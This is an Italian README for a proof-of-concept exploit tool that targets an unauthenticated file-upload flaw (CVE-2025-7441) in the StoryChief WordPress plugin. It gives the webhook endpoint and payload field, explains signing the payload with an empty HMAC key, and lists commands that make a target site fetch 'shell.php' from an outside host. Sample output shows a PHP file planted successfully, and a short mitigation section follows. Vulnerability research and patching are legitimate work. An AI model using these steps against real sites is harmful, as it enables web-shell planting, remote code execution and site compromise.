CVE-2025-7441 StoryChief 1.0.42 - Caricamento arbitrario di file

Vulnerabilità (CVE-2025-7441) - Riepilogo tecnico

• Componente interessato: Plugin StoryChief per WordPress
• Tipo di vulnerabilità: Caricamento arbitrario di file non autenticato
• Endpoint vulnerabile: /wp-json/storychief/webhook
• Causa principale: Il plugin accetta un payload JSON webhook che contiene un URL (sotto data.featured_image.data.sizes.full) e esegue una richiesta HTTP GET lato server su quell'URL senza una validazione sufficiente (nessuna whitelist di domini, controlli MIME/contenuto insufficienti, e i file vengono salvati in percorsi di upload pubblici).
• Impatto: Un attaccante non autenticato può far sì che il server recuperi e memorizzi contenuti controllati dall'attaccante nella directory di upload di WordPress (es. wp-content/uploads/YYYY/MM/<filename>). Se il file caricato può essere interpretato/eseguito dal server (ad esempio, un file PHP e il server ne consente l'esecuzione), ciò porta a esecuzione di codice remoto (RCE) e compromissione completa del sito.
• CVSS (esempio): 9.8 (Critico) — la gravità dipende dalla configurazione dell'hosting e dalle autorizzazioni di esecuzione.

Informazioni su questo PoC (CVE-2025-7441)

Questo script automatizza il tipico flusso di verifica dello sfruttamento della vulnerabilità:

1. Costruisce un payload JSON webhook che inserisce un URL di file remoto in data.featured_image.data.sizes.full.
2. Calcola una firma HMAC-SHA256 sul payload (lo script calcola usando una chiave vuota per impostazione predefinita) e la memorizza in meta.mac.
3. Invia il payload tramite POST a <site_url>/wp-json/storychief/webhook.
4. Verifica se il file recuperato è presente nel percorso di upload previsto:

<site_url>/wp-content/uploads///

Se il file risponde con HTTP 200, lo script riporta successo; altrimenti stampa <failed to upload>.

Lo script include i seguenti flag: --file-url, --verbose, --use-curl e --retries.

Uso

python3 CVE-2025-7441.py <site_url>

Argomento posizionale

• <site_url> — URL di base del sito di destinazione. Esempio: http://127.0.0.1:5000/ o https://target.example/

Flag

• --file-url — Sostituisce l'URL del file remoto predefinito utilizzato dal PoC. Predefinito: URL grezzo di GitHub hard-coded di esempio. Esempio: --file-url https://127.0.0.1:5000/zip.php
• --verbose — Abilita output dettagliato (stampa dettagli di richiesta/risposta e avanzamento del controllo).
• --use-curl — Usa il sottoprocesso curl per inviare la POST (modalità di fallback). Richiede curl installato.
• --retries — Numero di tentativi per verificare il percorso di upload previsto per il file. Predefinito: 1. Usa ad es. --retries 5 per eseguire più tentativi.

Comando di esempio

python3 CVE-2025-7441.py http://127.0.0.1:5000/

Specifica un URL di file remoto personalizzato

python3 CVE-2025-7441.py http://127.0.0.1:5000/  --file-url https://example.com/shell.php

Output dettagliato e controlli multipli

python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5

Usa curl per inviare la POST

python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose

Output:

[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php

Mitigazione

Mitigazione e Rimedio Breve termine:

• Aggiornare StoryChief a una versione corretta appena disponibile.
• Bloccare o limitare /wp-json/storychief/webhook tramite WAF o regole del server.
• Limitare i recuperi in uscita del server o l'egresso verso domini non attendibili.

Guida per sviluppatori:

• Validare i tipi di file e i contenuti dopo qualsiasi recupero remoto; verificare le immagini utilizzando parser sicuri e rifiutare file non validi.
• Richiedere l'autenticazione per i webhook che causano download lato server o creazione di file.
• Assicurarsi che la verifica HMAC/firma sia implementata e applicata.
• Memorizzare i contenuti caricati al di fuori della webroot o disabilitare l'esecuzione dei file caricati in wp-content/uploads.